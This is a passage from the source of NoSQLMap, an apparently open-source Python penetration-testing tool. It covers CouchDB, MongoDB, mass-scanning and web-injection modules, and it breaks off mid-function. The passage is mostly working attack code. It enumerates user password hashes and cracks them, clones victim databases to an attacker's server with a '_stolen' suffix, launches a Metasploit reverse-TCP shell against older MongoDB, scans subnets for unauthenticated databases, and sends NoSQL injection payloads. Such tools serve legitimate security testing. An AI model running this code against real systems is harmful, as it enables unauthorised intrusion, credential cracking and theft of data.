enumDbs(conn,target,port) 137 | 138 | if attack == "3": 139 | print "\n" 140 | enumAtt(conn,target,port) 141 | 142 | if attack == "4": 143 | print "\n" 144 | stealDBs(myIP,conn,target,port) 145 | 146 | if attack == "5": 147 | return 148 | 149 | 150 | def getPlatInfo(couchConn, target): 151 | print "Server Info:" 152 | print "CouchDB Version: " + couchConn.version() 153 | return 154 | 155 | 156 | def enumAtt(conn, target, port): 157 | dbList = [] 158 | print "Enumerating all attachments..." 159 | 160 | for db in conn: 161 | dbList.append(db) 162 | 163 | for dbName in dbList: 164 | r = requests.get("http://" + target + ":" + str(port) + "/" + dbName + "/_all_docs" ) 165 | dbDict = r.json() 166 | 167 | 168 | 169 | def enumDbs (couchConn,target,port): 170 | dbList = [] 171 | userNames = [] 172 | userHashes = [] 173 | userSalts = [] 174 | try: 175 | for db in couchConn: 176 | dbList.append(db) 177 | 178 | 179 | print "List of databases:" 180 | print "\n".join(dbList) 181 | print "\n" 182 | 183 | except NoSQLMapException: 184 | print "Error: Couldn't list databases. The provided credentials may not have rights." 185 | 186 | if '_users' in dbList: 187 | r = requests.get("http://" + target + ":" + str(port) + "/_users/_all_docs?startkey=\"org.couchdb.user\"&include_docs=true") 188 | userDict = r.json() 189 | 190 | for counter in range (0,int(userDict["total_rows"])-int(userDict["offset"])): 191 | if float(couchConn.version()[0:3]) < 1.3: 192 | userNames.append(userDict["rows"][counter]["id"].split(":")[1]) 193 | userHashes.append(userDict["rows"][counter]["doc"]["password_sha"]) 194 | userSalts.append(userDict["rows"][counter]["doc"]["salt"]) 195 | 196 | else: 197 | userNames.append(userDict["rows"][counter]["id"].split(":")[1]) 198 | userHashes.append(userDict["rows"][counter]["doc"]["derived_key"]) 199 | userSalts.append(userDict["rows"][counter]["doc"]["salt"]) 200 | 201 | print "Database Users and Password Hashes:" 202 | 203 | for x in range(0,len(userNames)): 204 | print "Username: " + userNames[x] 205 | print "Hash: " + userHashes[x] 206 | print "Salt: "+ userSalts[x] 207 | print "\n" 208 | 209 | crack = raw_input("Crack this hash (y/n)? ") 210 | 211 | if crack in yes_tag: 212 | passCrack(userNames[x],userHashes[x],userSalts[x],couchConn.version()) 213 | 214 | 215 | return 216 | 217 | 218 | def stealDBs (myDB,couchConn,target,port): 219 | dbLoot = True 220 | menuItem = 1 221 | dbList = [] 222 | 223 | for db in couchConn: 224 | dbList.append(db) 225 | 226 | if len(dbList) == 0: 227 | print "Can't get a list of databases to steal. The provided credentials may not have rights." 228 | return 229 | 230 | for dbName in dbList: 231 | print str(menuItem) + "-" + dbName 232 | menuItem += 1 233 | 234 | while dbLoot: 235 | dbLoot = raw_input("Select a database to steal:") 236 | 237 | if int(dbLoot) > menuItem: 238 | print "Invalid selection." 239 | 240 | else: 241 | break 242 | 243 | try: 244 | # Create the DB target first 245 | myServer = couchdb.Server("http://" + myDB + ":5984") 246 | targetDB = myServer.create(dbList[int(dbLoot)-1] + "_stolen") 247 | couchConn.replicate(dbList[int(dbLoot)-1],"http://" + myDB + ":5984/" + dbList[int(dbLoot)-1] + "_stolen") 248 | 249 | cloneAnother = raw_input("Database cloned. Copy another (y/n)? ") 250 | 251 | if cloneAnother in yes_tag: 252 | stealDBs(myDB,couchConn,target,port) 253 | 254 | else: 255 | return 256 | 257 | except NoSQLMapException: 258 | raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return...") 259 | return 260 | 261 | 262 | def passCrack (user, encPass, salt, dbVer): 263 | select = True 264 | print "Select password cracking method: " 265 | print "1-Dictionary Attack" 266 | print "2-Brute Force" 267 | print "3-Exit" 268 | 269 | while select: 270 | select = raw_input("Selection: ") 271 | 272 | if select == "1": 273 | select = False 274 | dict_pass(encPass,salt,dbVer) 275 | 276 | elif select == "2": 277 | select = False 278 | brute_pass(encPass,salt,dbVer) 279 | 280 | elif select == "3": 281 | return 282 | return 283 | 284 | 285 | def genBrute(chars, maxLen): 286 | return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1))) 287 | 288 | 289 | def brute_pass(hashVal,salt,dbVer): 290 | charSel = True 291 | print "\n" 292 | maxLen = raw_input("Enter the maximum password length to attempt: ") 293 | print "1-Lower case letters" 294 | print "2-Upper case letters" 295 | print "3-Upper + lower case letters" 296 | print "4-Numbers only" 297 | print "5-Alphanumeric (upper and lower case)" 298 | print "6-Alphanumeric + special characters" 299 | charSel = raw_input("\nSelect character set to use:") 300 | 301 | if charSel == "1": 302 | chainSet = string.ascii_lowercase 303 | 304 | elif charSel == "2": 305 | chainSet= string.ascii_uppercase 306 | 307 | elif charSel == "3": 308 | chainSet = string.ascii_letters 309 | 310 | elif charSel == "4": 311 | chainSet = string.digits 312 | 313 | elif charSel == "5": 314 | chainSet = string.ascii_letters + string.digits 315 | 316 | elif charSel == "6": 317 | chainSet = string.ascii_letters + string.digits + "!@#$%^&*()-_+={}[]|~`':;<>,.?/" 318 | 319 | count = 0 320 | print "\n", 321 | 322 | for attempt in genBrute (chainSet,int(maxLen)): 323 | print "\rCombinations tested: " + str(count) + "\r" 324 | count += 1 325 | 326 | # CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use. 327 | if float(dbVer[0:3]) < 1.3: 328 | gotIt = gen_pass_couch(attempt,salt,hashVal) 329 | else: 330 | gotIt = gen_pass_couch13(attempt, salt, 10, hashVal) 331 | 332 | if gotIt == True: 333 | break 334 | 335 | 336 | def dict_pass(key,salt,dbVer): 337 | loadCheck = False 338 | 339 | while loadCheck == False: 340 | dictionary = raw_input("Enter path to password dictionary: ") 341 | 342 | try: 343 | with open (dictionary) as f: 344 | passList = f.readlines() 345 | loadCheck = True 346 | 347 | except NoSQLMapException: 348 | print " Couldn't load file." 349 | 350 | print "Running dictionary attack..." 351 | 352 | for passGuess in passList: 353 | temp = passGuess.split("\n")[0] 354 | 355 | # CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use. 356 | if float(dbVer[0:3]) < 1.3: 357 | gotIt = gen_pass_couch(temp,salt,key) 358 | else: 359 | gotIt = gen_pass_couch13(temp, salt, 10, key) 360 | 361 | if gotIt == True: 362 | break 363 | 364 | return 365 | 366 | 367 | def gen_pass_couch(passw, salt, hashVal): 368 | if sha1(passw+salt).hexdigest() == hashVal: 369 | print "Password Cracked - "+passw 370 | return True 371 | 372 | else: 373 | return False 374 | 375 | 376 | def gen_pass_couch13(passw, salt, iterations, hashVal): 377 | result=PBKDF2(passw,salt,iterations).read(20) 378 | expected=a2b_hex(hashVal) 379 | if result==expected: 380 | print "Password Cracked- "+passw 381 | return True 382 | else: 383 | return False 384 | -------------------------------------------------------------------------------- /nsmmongo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # NoSQLMap Copyright 2012-2017 NoSQLMap Development team 3 | # See the file 'doc/COPYING' for copying permission 4 | 5 | from exception import NoSQLMapException 6 | import pymongo 7 | import urllib 8 | import json 9 | import gridfs 10 | import itertools 11 | import string 12 | import subprocess 13 | from hashlib import md5 14 | import os 15 | 16 | 17 | global yes_tag 18 | global no_tag 19 | yes_tag = ['y', 'Y'] 20 | no_tag = ['n', 'N'] 21 | 22 | def args(): 23 | return [] 24 | 25 | def netAttacks(target, dbPort, myIP, myPort, args = None): 26 | print "DB Access attacks (MongoDB)" 27 | print "=================" 28 | mgtOpen = False 29 | webOpen = False 30 | mgtSelect = True 31 | # This is a global for future use with other modules; may change 32 | global dbList 33 | dbList = [] 34 | 35 | print "Checking to see if credentials are needed..." 36 | needCreds = mongoScan(target,dbPort,False) 37 | 38 | if needCreds[0] == 0: 39 | conn = pymongo.MongoClient(target,dbPort) 40 | print "Successful access with no credentials!" 41 | mgtOpen = True 42 | 43 | elif needCreds[0] == 1: 44 | print "Login required!" 45 | srvUser = raw_input("Enter server username: ") 46 | srvPass = raw_input("Enter server password: ") 47 | uri = "mongodb://" + srvUser + ":" + srvPass + "@" + target +"/" 48 | 49 | try: 50 | conn = pymongo.MongoClient(target) 51 | print "MongoDB authenticated on " + target + ":27017!" 52 | mgtOpen = True 53 | except NoSQLMapException: 54 | raw_input("Failed to authenticate. Press enter to continue...") 55 | return 56 | 57 | elif needCreds[0] == 2: 58 | conn = pymongo.MongoClient(target,dbPort) 59 | print "Access check failure. Testing will continue but will be unreliable." 60 | mgtOpen = True 61 | 62 | elif needCreds[0] == 3: 63 | print "Couldn't connect to Mongo server." 64 | return 65 | 66 | 67 | mgtUrl = "http://" + target + ":28017" 68 | # Future rev: Add web management interface parsing 69 | 70 | try: 71 | mgtRespCode = urllib.urlopen(mgtUrl).getcode() 72 | if mgtRespCode == 200: 73 | print "MongoDB web management open at " + mgtUrl + ". No authentication required!" 74 | testRest = raw_input("Start tests for REST Interface (y/n)? ") 75 | 76 | if testRest in yes_tag: 77 | restUrl = mgtUrl + "/listDatabases?text=1" 78 | restResp = urllib.urlopen(restUrl).read() 79 | restOn = restResp.find('REST is not enabled.') 80 | 81 | if restOn == -1: 82 | print "REST interface enabled!" 83 | dbs = json.loads(restResp) 84 | menuItem = 1 85 | print "List of databases from REST API:" 86 | 87 | for x in range(0,len(dbs['databases'])): 88 | dbTemp= dbs['databases'][x]['name'] 89 | print str(menuItem) + "-" + dbTemp 90 | menuItem += 1 91 | else: 92 | print "REST interface not enabled." 93 | print "\n" 94 | 95 | except NoSQLMapException: 96 | print "MongoDB web management closed or requires authentication." 97 | 98 | if mgtOpen == True: 99 | 100 | while mgtSelect: 101 | print "\n" 102 | print "1-Get Server Version and Platform" 103 | print "2-Enumerate Databases/Collections/Users" 104 | print "3-Check for GridFS" 105 | print "4-Clone a Database" 106 | print "5-Launch Metasploit Exploit for Mongo < 2.2.4" 107 | print "6-Return to Main Menu" 108 | attack = raw_input("Select an attack: ") 109 | 110 | if attack == "1": 111 | print "\n" 112 | getPlatInfo(conn) 113 | 114 | if attack == "2": 115 | print "\n" 116 | enumDbs(conn) 117 | 118 | if attack == "3": 119 | print "\n" 120 | enumGrid(conn) 121 | 122 | if attack == "4": 123 | if myIP == "Not Set": 124 | print "Target database not set!" 125 | else: 126 | print "\n" 127 | stealDBs(myIP,target,conn) 128 | 129 | if attack == "5": 130 | print "\n" 131 | msfLaunch() 132 | 133 | if attack == "6": 134 | return 135 | 136 | 137 | def stealDBs(myDB,victim,mongoConn): 138 | dbList = mongoConn.database_names() 139 | dbLoot = True 140 | menuItem = 1 141 | 142 | if len(dbList) == 0: 143 | print "Can't get a list of databases to steal. The provided credentials may not have rights." 144 | return 145 | 146 | for dbName in dbList: 147 | print str(menuItem) + "-" + dbName 148 | menuItem += 1 149 | 150 | while dbLoot: 151 | dbLoot = raw_input("Select a database to steal: ") 152 | 153 | if int(dbLoot) >= menuItem: 154 | print "Invalid selection." 155 | 156 | else: 157 | break 158 | 159 | try: 160 | # Mongo can only pull, not push, connect to my instance and pull from verified open remote instance. 161 | dbNeedCreds = raw_input("Does this database require credentials (y/n)? ") 162 | myDBConn = pymongo.MongoClient(myDB, 27017) 163 | if dbNeedCreds in no_tag: 164 | 165 | myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim) 166 | 167 | elif dbNeedCreds in yes_tag: 168 | dbUser = raw_input("Enter database username: ") 169 | dbPass = raw_input("Enter database password: ") 170 | myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim,dbUser,dbPass) 171 | 172 | else: 173 | raw_input("Invalid Selection. Press enter to continue.") 174 | stealDBs(myDB,victim,mongoConn) 175 | 176 | cloneAnother = raw_input("Database cloned. Copy another (y/n)? ") 177 | 178 | if cloneAnother in yes_tag: 179 | stealDBs(myDB,victim,mongoConn) 180 | 181 | else: 182 | return 183 | 184 | except NoSQLMapException, e: 185 | if str(e).find('text search not enabled') != -1: 186 | raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") 187 | return 188 | elif str(e).find('Network is unreachable') != -1: 189 | raw_input("Are you sure your network is unreachable? Press enter to return..") 190 | else: 191 | raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") 192 | return 193 | 194 | 195 | def passCrack (user, encPass): 196 | select = True 197 | print "Select password cracking method: " 198 | print "1-Dictionary Attack" 199 | print "2-Brute Force" 200 | print "3-Exit" 201 | 202 | 203 | while select: 204 | select = raw_input("Selection: ") 205 | if select == "1": 206 | select = False 207 | dict_pass(user,encPass) 208 | 209 | elif select == "2": 210 | select = False 211 | brute_pass(user,encPass) 212 | 213 | elif select == "3": 214 | return 215 | return 216 | 217 | 218 | def gen_pass(user, passw, hashVal): 219 | if md5(user + ":mongo:" + str(passw)).hexdigest() == hashVal: 220 | print "Found - " + user + ":" + passw 221 | return True 222 | else: 223 | return False 224 | 225 | 226 | def dict_pass(user,key): 227 | loadCheck = False 228 | 229 | while loadCheck == False: 230 | dictionary = raw_input("Enter path to password dictionary: ") 231 | try: 232 | with open (dictionary) as f: 233 | passList = f.readlines() 234 | loadCheck = True 235 | except NoSQLMapException: 236 | print " Couldn't load file." 237 | 238 | print "Running dictionary attack..." 239 | for passGuess in passList: 240 | temp = passGuess.split("\n")[0] 241 | gotIt = gen_pass (user, temp, key) 242 | 243 | if gotIt == True: 244 | break 245 | return 246 | 247 | 248 | def genBrute(chars, maxLen): 249 | return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1))) 250 | 251 | 252 | def brute_pass(user,key): 253 | charSel = True 254 | print "\n" 255 | maxLen = raw_input("Enter the maximum password length to attempt: ") 256 | print "1-Lower case letters" 257 | print "2-Upper case letters" 258 | print "3-Upper + lower case letters" 259 | print "4-Numbers only" 260 | print "5-Alphanumeric (upper and lower case)" 261 | print "6-Alphanumeric + special characters" 262 | charSel = raw_input("\nSelect character set to use:") 263 | 264 | if charSel == "1": 265 | chainSet = string.ascii_lowercase 266 | 267 | elif charSel == "2": 268 | chainSet= string.ascii_uppercase 269 | 270 | elif charSel == "3": 271 | chainSet = string.ascii_letters 272 | 273 | elif charSel == "4": 274 | chainSet = string.digits 275 | 276 | elif charSel == "5": 277 | chainSet = string.ascii_letters + string.digits 278 | 279 | elif charSel == "6": 280 | chainSet = string.ascii_letters + string.digits + "!@#$%^&*()-_+={}[]|~`':;<>,.?/" 281 | count = 0 282 | print "\n", 283 | for attempt in genBrute (chainSet,int(maxLen)): 284 | print "\rCombinations tested: " + str(count) + "\r" 285 | count += 1 286 | if md5(user + ":mongo:" + str(attempt)).hexdigest() == key: 287 | print "\nFound - " + user + ":" + attempt 288 | break 289 | return 290 | 291 | 292 | def getPlatInfo (mongoConn): 293 | print "Server Info:" 294 | print "MongoDB Version: " + mongoConn.server_info()['version'] 295 | print "Debugs enabled : " + str(mongoConn.server_info()['debug']) 296 | print "Platform: " + str(mongoConn.server_info()['bits']) + " bit" 297 | print "\n" 298 | return 299 | 300 | 301 | def enumDbs (mongoConn): 302 | try: 303 | print "List of databases:" 304 | print "\n".join(mongoConn.database_names()) 305 | print "\n" 306 | 307 | except NoSQLMapException: 308 | print "Error: Couldn't list databases. The provided credentials may not have rights." 309 | 310 | print "List of collections:" 311 | 312 | try: 313 | for dbItem in mongoConn.database_names(): 314 | db = mongoConn[dbItem] 315 | print dbItem + ":" 316 | print "\n".join(db.collection_names()) 317 | print "\n" 318 | 319 | if 'system.users' in db.collection_names(): 320 | users = list(db.system.users.find()) 321 | print "Database Users and Password Hashes:" 322 | 323 | for x in range (0,len(users)): 324 | print "Username: " + users[x]['user'] 325 | print "Hash: " + users[x]['pwd'] 326 | print "\n" 327 | crack = raw_input("Crack this hash (y/n)? ") 328 | 329 | if crack in yes_tag: 330 | passCrack(users[x]['user'],users[x]['pwd']) 331 | 332 | except NoSQLMapException, e: 333 | print e 334 | print "Error: Couldn't list collections. The provided credentials may not have rights." 335 | 336 | print "\n" 337 | return 338 | 339 | 340 | def msfLaunch(victim, myIP, myPort): 341 | try: 342 | proc = subprocess.call(["msfcli", "exploit/linux/misc/mongod_native_helper", "RHOST=%s" % victim, "DB=local", "PAYLOAD=linux/x86/shell/reverse_tcp", "LHOST=%s" % myIP, "LPORT=%s" % myPort, "E"]) 343 | 344 | except NoSQLMapException: 345 | print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined." 346 | raw_input("Press enter to continue...") 347 | return 348 | 349 | 350 | def enumGrid (mongoConn): 351 | try: 352 | for dbItem in mongoConn.database_names(): 353 | try: 354 | db = mongoConn[dbItem] 355 | fs = gridfs.GridFS(db) 356 | files = fs.list() 357 | print "GridFS enabled on database " + str(dbItem) 358 | print " list of files:" 359 | print "\n".join(files) 360 | 361 | except NoSQLMapException: 362 | print "GridFS not enabled on " + str(dbItem) + "." 363 | 364 | except NoSQLMapException: 365 | print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights." 366 | 367 | return 368 | 369 | 370 | def mongoScan(ip,port,pingIt): 371 | 372 | if pingIt == True: 373 | test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null") 374 | 375 | if test == 0: 376 | try: 377 | conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000) 378 | 379 | try: 380 | dbList = conn.database_names() 381 | dbVer = conn.server_info()['version'] 382 | conn.close() 383 | return [0,dbVer] 384 | 385 | except NoSQLMapException: 386 | if str(sys.exc_info()).find('need to login') != -1: 387 | conn.close() 388 | return [1,None] 389 | 390 | else: 391 | conn.close() 392 | return [2,None] 393 | 394 | except NoSQLMapException: 395 | return [3,None] 396 | 397 | else: 398 | return [4,None] 399 | else: 400 | try: 401 | conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000) 402 | 403 | try: 404 | dbList = conn.database_names() 405 | dbVer = conn.server_info()['version'] 406 | conn.close() 407 | return [0,dbVer] 408 | 409 | except NoSQLMapException, e: 410 | if str(e).find('need to login') != -1: 411 | conn.close() 412 | return [1,None] 413 | 414 | else: 415 | conn.close() 416 | return [2,None] 417 | 418 | except NoSQLMapException: 419 | return [3,None] 420 | -------------------------------------------------------------------------------- /nsmscan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # NoSQLMap Copyright 2012-2017 NoSQLMap Development team 3 | # See the file 'doc/COPYING' for copying permission 4 | 5 | 6 | from exception import NoSQLMapException 7 | import ipcalc 8 | import nsmmongo 9 | import nsmcouch 10 | 11 | def args(): 12 | return [] 13 | 14 | def massScan(platform, args = None): 15 | yes_tag = ['y', 'Y'] 16 | no_tag = ['n', 'N'] 17 | optCheck = True 18 | loadCheck = False 19 | ping = False 20 | success = [] 21 | versions = [] 22 | creds = [] 23 | commError = [] 24 | ipList = [] 25 | resultSet = [] 26 | 27 | print "\n" 28 | print platform + " Default Access Scanner" 29 | print "==============================" 30 | print "1-Scan a subnet for default " + platform + " access" 31 | print "2-Loads IPs to scan from a file" 32 | print "3-Enable/disable host pings before attempting connection" 33 | print "x-Return to main menu" 34 | 35 | while optCheck: 36 | loadOpt = raw_input("Select an option: ") 37 | 38 | if loadOpt == "1": 39 | subnet = raw_input("Enter subnet to scan: ") 40 | 41 | try: 42 | for ip in ipcalc.Network(subnet): 43 | ipList.append(str(ip)) 44 | optCheck = False 45 | except NoSQLMapException: 46 | raw_input("Not a valid subnet. Press enter to return to main menu.") 47 | return 48 | 49 | if loadOpt == "2": 50 | while loadCheck == False: 51 | loadPath = raw_input("Enter file name with IP list to scan: ") 52 | 53 | try: 54 | with open (loadPath) as f: 55 | ipList = f.readlines() 56 | loadCheck = True 57 | optCheck = False 58 | except NoSQLMapException: 59 | print "Couldn't open file." 60 | 61 | if loadOpt == "3": 62 | if ping == False: 63 | ping = True 64 | print "Scan will ping host before connection attempt." 65 | 66 | elif ping == True: 67 | ping = False 68 | print "Scan will not ping host before connection attempt." 69 | 70 | if loadOpt == "x": 71 | return 72 | 73 | 74 | print "\n" 75 | for target in ipList: 76 | 77 | if platform == "MongoDB": 78 | result = nsmmongo.mongoScan(target.rstrip(),27017,ping) 79 | 80 | elif platform == "CouchDB": 81 | result = nsmcouch.couchScan(target.rstrip(),5984,ping) 82 | 83 | if result[0] == 0: 84 | print "Successful default access on " + target.rstrip() + "(" + platform + " Version: " + result[1] + ")." 85 | success.append(target.rstrip()) 86 | versions.append(result[1]) 87 | 88 | elif result[0] == 1: 89 | print platform + " running but credentials required on " + target.rstrip() + "." 90 | creds.append(target.rstrip()) # Future use 91 | 92 | elif result[0] == 2: 93 | print "Successful " + platform + " connection to " + target.rstrip() + " but error executing command." 94 | commError.append(target.rstrip()) # Future use 95 | 96 | elif result[0] == 3: 97 | print "Couldn't connect to " + target.rstrip() + "." 98 | 99 | elif result[0] == 4: 100 | print target.rstrip() + " didn't respond to ping." 101 | 102 | 103 | print "\n\n" 104 | select = True 105 | while select: 106 | saveEm = raw_input("Save scan results to CSV? (y/n):") 107 | 108 | if saveEm in yes_tag: 109 | savePath = raw_input("Enter file name to save: ") 110 | outCounter = 0 111 | try: 112 | fo = open(savePath, "wb") 113 | fo.write("IP Address," + platform + " Version\n") 114 | 115 | for server in success: 116 | fo.write(server + "," + versions[outCounter] + "\n" ) 117 | outCounter += 1 118 | 119 | fo.close() 120 | print "Scan results saved!" 121 | select = False 122 | 123 | except NoSQLMapException: 124 | print "Couldn't save scan results." 125 | 126 | elif saveEm in no_tag: 127 | select = False 128 | 129 | else: 130 | select = True 131 | 132 | print "Discovered " + platform + " Servers with No Auth:" 133 | print "IP" + " " + "Version" 134 | 135 | outCounter= 1 136 | 137 | for server in success: 138 | print str(outCounter) + "-" + server + " " + versions[outCounter - 1] 139 | outCounter += 1 140 | 141 | select = True 142 | print "\n" 143 | while select: 144 | select = raw_input("Select a NoSQLMap target or press x to exit: ") 145 | 146 | if select == "x" or select == "X": 147 | return None 148 | 149 | elif select.isdigit() == True and int(select) <= outCounter: 150 | victim = success[int(select) - 1] 151 | resultSet[0] = True 152 | resultSet[1] = victim 153 | raw_input("New target set! Press enter to return to the main menu.") 154 | return resultSet 155 | 156 | else: 157 | raw_input("Invalid selection.") 158 | -------------------------------------------------------------------------------- /nsmweb.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # NoSQLMap Copyright 2012-2017 NoSQLMap Development team 3 | # See the file 'doc/COPYING' for copying permission 4 | 5 | 6 | from exception import NoSQLMapException 7 | import urllib 8 | import urllib2 9 | import string 10 | import nsmmongo 11 | from sys import version_info 12 | import datetime 13 | import time 14 | import random 15 | 16 | # Fix for dealing with self-signed certificates. This is wrong and highly discouraged, to be revisited in stable branch 17 | 18 | if version_info >= (2, 7, 9): 19 | import ssl 20 | ssl._create_default_https_context = ssl._create_unverified_context 21 | 22 | 23 | def save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack): 24 | fo = open(savePath, "wb") 25 | fo.write ("Vulnerable URLs:\n") 26 | fo.write("\n".join(vulnAddrs)) 27 | fo.write("\n\n") 28 | fo.write("Possibly Vulnerable URLs:\n") 29 | fo.write("\n".join(possAddrs)) 30 | fo.write("\n") 31 | fo.write("Timing based attacks:\n") 32 | 33 | if strTbAttack == True: 34 | fo.write("String Attack-Successful\n") 35 | else: 36 | fo.write("String Attack-Unsuccessful\n") 37 | fo.write("\n") 38 | 39 | if intTbAttack == True: 40 | fo.write("Integer attack-Successful\n") 41 | else: 42 | fo.write("Integer attack-Unsuccessful\n") 43 | fo.write("\n") 44 | fo.close() 45 | 46 | def args(): 47 | return [ 48 | ["--injectedParameter", "Parameter to be injected"], 49 | ["--injectSize", "Size of payload"], 50 | ["--injectFormat", "1-Alphanumeric, 2-Letters only, 3-Numbers only, 4-Email address"], 51 | ["--params", "Enter parameters to inject in a comma separated list"], 52 | ["--doTimeAttack", "Start timing based tests (y/n)"], 53 | ["--savePath", "output file name"]] 54 | 55 | def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): 56 | print "Web App Attacks (GET)" 57 | print "===============" 58 | paramName = [] 59 | global testNum 60 | global httpMethod 61 | httpMethod = "GET" 62 | testNum = 1 63 | paramValue = [] 64 | global vulnAddrs 65 | vulnAddrs = [] 66 | global possAddrs 67 | possAddrs = [] 68 | timeVulnsStr = [] 69 | timeVulnsInt = [] 70 | appUp = False 71 | strTbAttack = False 72 | intTbAttack = False 73 | trueStr = False 74 | trueInt = False 75 | global lt24 76 | lt24 = False 77 | global str24 78 | str24 = False 79 | global int24 80 | int24 = False 81 | 82 | # Verify app is working. 83 | print "Checking to see if site at " + str(victim).strip() + ":" + str(webPort).strip() + str(uri).strip() + " is up..." 84 | 85 | if https == "OFF": 86 | appURL = "http://" + str(victim).strip() + ":" + str(webPort).strip() + str(uri).strip() 87 | 88 | elif https == "ON": 89 | appURL = "https://" + str(victim).strip() + ":" + str(webPort).strip() + str(uri).strip() 90 | try: 91 | req = urllib2.Request(appURL, None, requestHeaders) 92 | appRespCode = urllib2.urlopen(req).getcode() 93 | if appRespCode == 200: 94 | normLength = int(len(getResponseBodyHandlingErrors(req))) 95 | timeReq = urllib2.urlopen(req) 96 | start = time.time() 97 | page = timeReq.read() 98 | end = time.time() 99 | timeReq.close() 100 | timeBase = round((end - start), 3) 101 | 102 | if verb == "ON": 103 | print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" 104 | else: 105 | print "App is up!" 106 | appUp = True 107 | 108 | else: 109 | print "Got " + str(appRespCode) + "from the app, check your options." 110 | except NoSQLMapException,e: 111 | print e 112 | print "Looks like the server didn't respond. Check your options." 113 | 114 | if appUp == True: 115 | 116 | if args == None: 117 | sizeSelect = True 118 | 119 | while sizeSelect: 120 | injectSize = raw_input("Baseline test-Enter random string size: ") 121 | sizeSelect = not injectSize.isdigit() 122 | if sizeSelect: 123 | print "Invalid! The size should be an integer." 124 | 125 | format = randInjString(int(injectSize)) 126 | else: 127 | injectSize = int(args.injectSize) 128 | format = args.injectFormat 129 | 130 | injectSize = int(injectSize) 131 | injectString = build_random_string(format, injectSize) 132 | 133 | print "Using " + injectString + " for injection testing.\n" 134 | 135 | # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. 136 | if "?" not in appURL: 137 | print "No URI parameters provided for GET request...Check your options.\n" 138 | if args == None: 139 | raw_input("Press enter to continue...") 140 | return() 141 | 142 | randomUri = buildUri(appURL,injectString, args) 143 | print "URI : " + randomUri 144 | req = urllib2.Request(randomUri, None, requestHeaders) 145 | 146 | if verb == "ON": 147 | print "Checking random injected parameter HTTP response size using " + randomUri +"...\n" 148 | else: 149 | print "Sending random parameter value..." 150 | 151 | responseBody = getResponseBodyHandlingErrors(req) 152 | randLength = int(len(responseBody)) 153 | 154 | print "Got response length of " + str(randLength) + "." 155 | randNormDelta = abs(normLength - randLength) 156 | 157 | if randNormDelta == 0: 158 | print "No change in response size injecting a random parameter..\n" 159 | else: 160 | print "Random value variance: " + str(randNormDelta) + "\n" 161 | 162 | if verb == "ON": 163 | print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..." 164 | else: 165 | print "Test 1: PHP/ExpressJS != associative array injection" 166 | 167 | # Test for errors returned by injection 168 | req = urllib2.Request(uriArray[1], None, requestHeaders) 169 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) 170 | 171 | if errorCheck == False: 172 | injLen = int(len(getResponseBodyHandlingErrors(req))) 173 | checkResult(randLength,injLen,testNum,verb,None) 174 | testNum += 1 175 | else: 176 | testNum += 1 177 | 178 | print "\n" 179 | if verb == "ON": 180 | print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" 181 | print "Injecting " + uriArray[2] 182 | else: 183 | print "Test 2: $where injection (string escape)" 184 | 185 | print uriArray[2] 186 | req = urllib2.Request(uriArray[2], None, requestHeaders) 187 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) 188 | 189 | 190 | if errorCheck == False: 191 | injLen = int(len(getResponseBodyHandlingErrors(req))) 192 | checkResult(randLength,injLen,testNum,verb,None) 193 | testNum += 1 194 | 195 | else: 196 | testNum += 1 197 | 198 | print "\n" 199 | if verb == "ON": 200 | print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" 201 | print "Injecting " + uriArray[3] 202 | else: 203 | print "Test 3: $where injection (integer escape)" 204 | 205 | req = urllib2.Request(uriArray[3], None, requestHeaders) 206 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) 207 | 208 | 209 | if errorCheck == False: 210 | injLen = int(len(getResponseBodyHandlingErrors(req))) 211 | checkResult(randLength,injLen,testNum,verb,None) 212 | testNum +=1 213 | 214 | else: 215 | testNum +=1 216 | 217 | # Start a single record attack in case the app expects only one record back 218 | print "\n" 219 | if verb == "ON": 220 | print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" 221 | print " Injecting " + uriArray[4] 222 | else: 223 | print "Test 4: $where injection string escape (single record)" 224 | 225 | req = urllib2.Request(uriArray[4], None, requestHeaders) 226 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) 227 | 228 | if errorCheck == False: 229 | injLen = int(len(getResponseBodyHandlingErrors(req))) 230 | checkResult(randLength,injLen,testNum,verb,None) 231 | testNum += 1 232 | else: 233 | testNum += 1 234 | 235 | print "\n" 236 | if verb == "ON": 237 | print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" 238 | print " Injecting " + uriArray[5] 239 | else: 240 | print "Test 5: $where injection integer escape (single record)" 241 | 242 | req = urllib2.Request(uriArray[5], None, requestHeaders) 243 | errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) 244 | 245 | if errorCheck == False: 246 | injLen = int(len(getResponseBodyHandlingErrors(req))) 247 | checkResult(randLength,injLen,testNum,verb,None) 248 | testNum 